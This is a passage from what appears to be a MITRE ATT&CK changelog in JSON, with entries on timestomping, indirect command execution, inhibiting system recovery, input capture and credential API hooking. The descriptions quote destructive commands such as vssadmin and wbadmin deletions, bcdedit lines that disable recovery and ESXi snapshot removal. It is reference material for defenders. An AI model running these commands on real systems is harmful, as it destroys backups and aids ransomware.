Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \u201cdouble timestomping\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t ` (which sets access and modification times to a specific value) or `touch -r ` (which sets access and modification times to match those of another file).(Citation: Inversecos Linux Timestomping)(Citation: Juniper Networks ESXi Backdoor 2022)\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/006", + "external_id": "T1070.006" + }, + { + "source_name": "Juniper Networks ESXi Backdoor 2022", + "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.", + "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers" + }, + { + "source_name": "WindowsIR Anti-Forensic Techniques", + "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", + "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + }, + { + "source_name": "Inversecos Linux Timestomping", + "description": "inversecos. (2022, August 4). Detecting Linux Anti-Forensics: Timestomping. Retrieved March 26, 2025.", + "url": "https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html" + }, + { + "source_name": "Inversecos Timestomping 2022", + "description": "Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \u2013 NTFS Forensics. Retrieved September 30, 2024.", + "url": "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html" + }, + { + "source_name": "Magnet Forensics", + "description": "Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.", + "url": "https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/" + }, + { + "source_name": "Double Timestomping", + "description": "Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.", + "url": "https://x.com/matthewdunwoody/status/1519846657646604289" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Romain Dumont, ESET", + "Mike Hartley @mikehartley10" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"File: File Modification\", \"File: File Metadata\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.937000+00:00\", \"old_value\": \"2025-04-15 19:58:27.752000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0591: Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:40.495000+00:00", + "name": "Indirect Command Execution", + "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.(Citation: Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1202", + "external_id": "T1202" + }, + { + "source_name": "Bleeping Computer - Scriptrunner.exe", + "description": "Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/" + }, + { + "source_name": "Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot", + "description": "Cyble. (2024, December 5). Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot. Retrieved February 4, 2025.", + "url": "https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/" + }, + { + "source_name": "Evi1cg Forfiles Nov 2017", + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.", + "url": "https://x.com/Evi1cg/status/935027922397573120" + }, + { + "source_name": "RSA Forfiles Aug 2017", + "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.", + "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe" + }, + { + "source_name": "Secure Team - Scriptrunner.exe", + "description": "Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.", + "url": "https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/" + }, + { + "source_name": "SS64", + "description": "SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.", + "url": "https://ss64.com/nt/scriptrunner.html" + }, + { + "source_name": "VectorSec ForFiles Aug 2017", + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.", + "url": "https://x.com/vector_sec/status/896049052642533376" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.495000+00:00\", \"old_value\": \"2025-04-15 19:58:23.859000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0200: Indirect Command Execution \u2013 Windows utility abuse behavior chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-02 13:54:43.136000+00:00", + "modified": "2025-10-24 17:49:37.297000+00:00", + "name": "Inhibit System Recovery", + "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1490", + "external_id": "T1490" + }, + { + "source_name": "Dark Reading Code Spaces Cyber Attack", + "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.", + "url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "Cybereason", + "description": "Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.", + "url": "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Diskshadow", + "description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.", + "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow" + }, + { + "source_name": "Crytox Ransomware", + "description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.", + "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware" + }, + { + "source_name": "Rhino Security Labs AWS S3 Ransomware", + "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.", + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/" + }, + { + "source_name": "ZDNet Ransomware Backups 2020", + "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.", + "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/" + }, + { + "source_name": "disable_notif_synology_ransom", + "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.", + "url": "https://x.com/TheDFIRReport/status/1498657590259109894" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yonatan Gotlib, Deep Instinct", + "Austin Clark, @c2defense", + "Pallavi Sivakumaran, WithSecure", + "Joey Lei", + "Harjot Shah Singh" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Cloud Storage: Cloud Storage Deletion\", \"Command: Command Execution\", \"Service: Service Metadata\", \"Snapshot: Snapshot Deletion\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.297000+00:00\", \"old_value\": \"2025-04-15 19:59:22.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\\n\\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\PreviousVersions\\\\DisableLocalPage).\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\\n-\\n-Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\PreviousVersions\\\\DisableLocalPage).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1028: Operating System Configuration", + "M1038: Execution Prevention", + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0010: Cloud Storage (Cloud Storage Deletion)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0020: Snapshot (Snapshot Deletion)", + "DS0022: File (File Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0329: Behavioral Detection for T1490 - Inhibit System Recovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:48.323000+00:00", + "modified": "2025-10-24 17:49:17.884000+00:00", + "name": "Input Capture", + "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056", + "external_id": "T1056" + }, + { + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Module: Module Load\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Metadata\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.884000+00:00\", \"old_value\": \"2025-04-15 19:59:02.160000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0102: Behavioral Detection of Input Capture Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:01:15.930000+00:00", + "modified": "2025-10-24 17:49:37.119000+00:00", + "name": "Credential API Hooking", + "description": "Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. \n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program\u2019s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.(Citation: Intezer Symbiote 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056/004", + "external_id": "T1056.004" + }, + { + "source_name": "EyeofRa Detecting Hooking June 2017", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/" + }, + { + "source_name": "Zairon Hooking Dec 2006", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" + }, + { + "source_name": "GMER Rootkits", + "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", + "url": "http://www.gmer.net/" + }, + { + "source_name": "MWRInfoSecurity Dynamic Hooking 2015", + "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", + "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Intezer Symbiote 2022", + "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.", + "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/" + }, + { + "source_name": "HighTech Bridge Inline Hooking Sept 2011", + "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved November 17, 2024.", + "url": "https://www.scribd.com/document/68671361/Inline-Hooking-in-Windows" + }, + { + "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", + "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918" + }, + { + "source_name": "Microsoft Hook Overview", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" + }, + { + "source_name": "Microsoft Process Snapshot", + "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx" + }, + { + "source_name": "PreKageo Winhook Jul 2011", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", + "url": "https://github.com/prekageo/winhook" + }, + { + "source_name": "Jay GetHooks Sept 2011", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", + "url": "https://github.com/jay/gethooks" + }, + { + "source_name": "StackExchange Hooks Jul 2012", + "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", + "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" + }, + { + "source_name": "Adlice Software IAT Hooks Oct 2014", + "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", + "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/" + }, + { + "source_name": "Volatility Detecting Hooks Sept 2012", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Metadata\", \"Module: Module Load\", \"File: File Creation\", \"File: File Modification\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.119000+00:00\", \"old_value\": \"2025-04-15 19:59:21.920000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\\n\\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\\n\\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\\n-\\n-Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\\n-\\n-Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], 